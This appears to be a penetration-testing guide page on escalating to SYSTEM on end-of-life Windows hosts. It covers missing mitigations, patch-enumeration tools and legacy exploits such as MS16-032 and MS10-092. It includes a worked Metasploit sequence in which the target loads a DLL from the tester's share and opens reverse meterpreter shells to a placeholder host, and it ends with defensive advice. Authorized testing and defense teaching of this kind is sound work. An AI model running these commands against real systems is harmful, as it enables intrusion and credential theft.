End-of-Life & Legacy Systems
End-of-life Windows - Server 2008/2008 R2, Windows 7, and anything older - no longer receives security updates, so it accumulates unpatched local-privilege-escalation and RCE flaws. It’s also missing the mitigations that make modern hosts hard (Credential Guard, Device Guard/WDAC, AppLocker, Control Flow Guard), so escalation is usually quicker and the public PoCs just work. You’ll meet these in hospitals, universities, government, manufacturing, and retail POS fleets.
# Legacy-specific missing-patch enumeration (older tooling, PS2.0-friendly)Import-Module .\Sherlock.ps1; Find-AllVulns # on-host, flags "Appears Vulnerable"python2.7 windows-exploit-suggester.py --systeminfo si.txt --database 2021-05-13-mssb.xls # use the dated file --update prints# then the signature legacy LPE PoCs, e.g.:Import-Module .\Invoke-MS16-032.ps1; Invoke-MS16-032 # Secondary Logon → SYSTEM (Win7/2008)Success indicator: whoami → nt authority\system via a legacy kernel/service CVE - but only after you’ve confirmed with the client that the host can tolerate it (see the caution below).
Why legacy is softer
Section titled “Why legacy is softer”The missing-patch surface is the obvious part, but the bigger difference is the mitigations that simply aren’t there on older OSes. Each absence re-enables a technique the rest of this cluster has to work around on a modern host:
| Mitigation | Win7 / 2008 R2 | Win10 / 2016+ | What its absence gives you |
|---|---|---|---|
| Credential Guard | ✗ | ✓ | LSASS holds reusable secrets; WDigest plaintext passwords on by default pre-8.1 |
| Device Guard / WDAC / HVCI | ✗ | ✓ | No hardware-enforced code-integrity or application control (x64 driver signing is still enforced - it dates to Vista - but there’s no HVCI/WDAC policy gating what runs) |
| AppLocker | partial | ✓ | Little to no application allowlisting - drop and run tools freely |
| Control Flow Guard | ✗ | ✓ | Memory-corruption kernel exploits are far more reliable |
| Windows Defender | partial | ✓ | Public PoCs and tooling often run unsignatured |
So on legacy you can usually dump credentials straight from LSASS (see credential hunting and the LSASS route on SeDebugPrivilege), run token-impersonation “potato” attacks unimpeded, and fire kernel PoCs that CFG would otherwise break.
Enumerating legacy for missing patches
Section titled “Enumerating legacy for missing patches”The missing-patch → CVE workflow is the same as for modern hosts. WES-NG is still the primary matcher - it covers Windows XP through 11 and their Server counterparts, so it suits legacy hosts too; use it first. The older legacy-era tools are supplementary, useful as a second opinion or when you specifically want their on-host checks:
- Sherlock - on-host PowerShell;
Find-AllVulnschecks a built-in set of older LPE bulletins and printsAppears Vulnerable/Not Vulnerable/Not supported on 64-bit systemsper CVE. Handy quick first pass on 2008/Win7 without exportingsysteminfo. - Windows-Exploit-Suggester (the original, superseded by WES-NG) - off-host Python;
--updatepulls the MS bulletin DB, then feed itsysteminfooutput. Note its bulletin data is frozen at Q1 2017, so it misses anything newer even on Win7/2008 - treat it as a legacy supplement, not a replacement for WES-NG. - JAWS - PowerShell 2.0-compatible, for hosts too old for modern scripts.
- The Metasploit local exploit suggester (
post/multi/recon/local_exploit_suggester) against an existing session shortlists usable modules fast.
wmic qfe # last installed KB - google it; legacy hosts are often years behindImport-Module .\Sherlock.ps1; Find-AllVulnsFilter the output hard: drop DoS entries and anything Not Vulnerable / not matching the architecture (many Win32k PoCs are Not supported on 64-bit systems).
Signature legacy LPE exploits
Section titled “Signature legacy LPE exploits”A handful recur constantly on 2008/Win7:
- MS10-092 - Task Scheduler
.XML(schelevator) - the scheduler trusts a CRC-protected task XML it doesn’t properly validate; Metasploitexploit/windows/local/ms10_092_schelevatorrewrites a task to run as SYSTEM. Reliable on Vista/7/2008. - MS16-032 - Secondary Logon handle - a leaked thread handle in
seclogon; theInvoke-MS16-032.ps1PowerShell PoC races it into a SYSTEM shell. Works Win7-10 / 2008-2012, no binary drop needed. - MS16-075 - NTLM reflection (the “potato” family) - Hot/RottenPotato reflect a coerced SYSTEM NTLM auth back to the local host. This is the ancestor of the modern potato attacks on SeImpersonate; on legacy it often works from any service account without the newer prerequisites.
- MS10-015 (KiTrap0D) and MS08-067 - ancient but still found on XP/2003/2000; KiTrap0D is 32-bit-only, MS08-067 is a wormable RCE that doubles as a foothold.
Worked flow (Server 2008 → SYSTEM)
Section titled “Worked flow (Server 2008 → SYSTEM)”A typical Metasploit path when you have a foothold shell:
msfconsole runs one command per line (it does not split on ;), so each line below is its own command.
# 1. stage a meterpreter session with smb_delivery: configure, run, then execute the# one-liner it prints on the target, and interact with the session it creates.use exploit/windows/smb/smb_deliveryset target 0set PAYLOAD windows/meterpreter/reverse_tcpset LHOST <you>exploit# → prints: rundll32.exe \\<you>\<share>\test.dll,0 ← run that in the foothold shell on the target# → "Meterpreter session 1 opened"sessions -i 1
# 2. migrate to an x64 process FIRST (many modules fail from a 32-bit SysWOW64 host), then backgroundpsmigrate <x64_pid>background
# 3. run the LPE module against session 1 - set a meterpreter payload explicitly, because# schelevator's default dropper target otherwise gives a plain shell, not meterpreter.use exploit/windows/local/ms10_092_schelevatorset SESSION 1set PAYLOAD windows/meterpreter/reverse_tcpset LHOST <you>set LPORT 4443exploit# → new session as NT AUTHORITY\SYSTEMIf a module’s safety check wrongly reports “not vulnerable” but Sherlock/WES say otherwise, set ForceExploit true overrides it - use that only when you’re confident and the host can take it.
Defense
Section titled “Defense”- Patch or retire is the real fix - but where an EOL host genuinely can’t be replaced (vendor gone, certified medical/industrial software), that’s a business decision, not a finding to dismiss. Report it with context.
- Network-segment EOL systems aggressively: isolate them on their own VLAN with strict ACLs so a compromise can’t spread (these are exactly the hosts wormable flaws like EternalBlue/SIGRed devastate). Microsoft custom ESU contracts can keep critical patches flowing in the meantime.
- Restrict inbound/outbound to the minimum the legacy app needs; disable SMBv1 and legacy protocols; monitor the segment heavily since the host itself can’t defend.
- Treat a legacy host as already-credential-exposed: assume LSASS secrets are recoverable, so don’t let privileged/domain accounts log on to it.
Related
Section titled “Related”- Kernel exploits - the general missing-patch-to-CVE workflow; legacy is the same method with older tooling and a softer target
- Initial enumeration - capturing the
systeminfo/wmic qfeoutput these matchers consume - SeImpersonate - the modern descendants of the MS16-075 potato attacks
- SeDebugPrivilege / Credential hunting - dumping the plaintext credentials legacy LSASS gives up without Credential Guard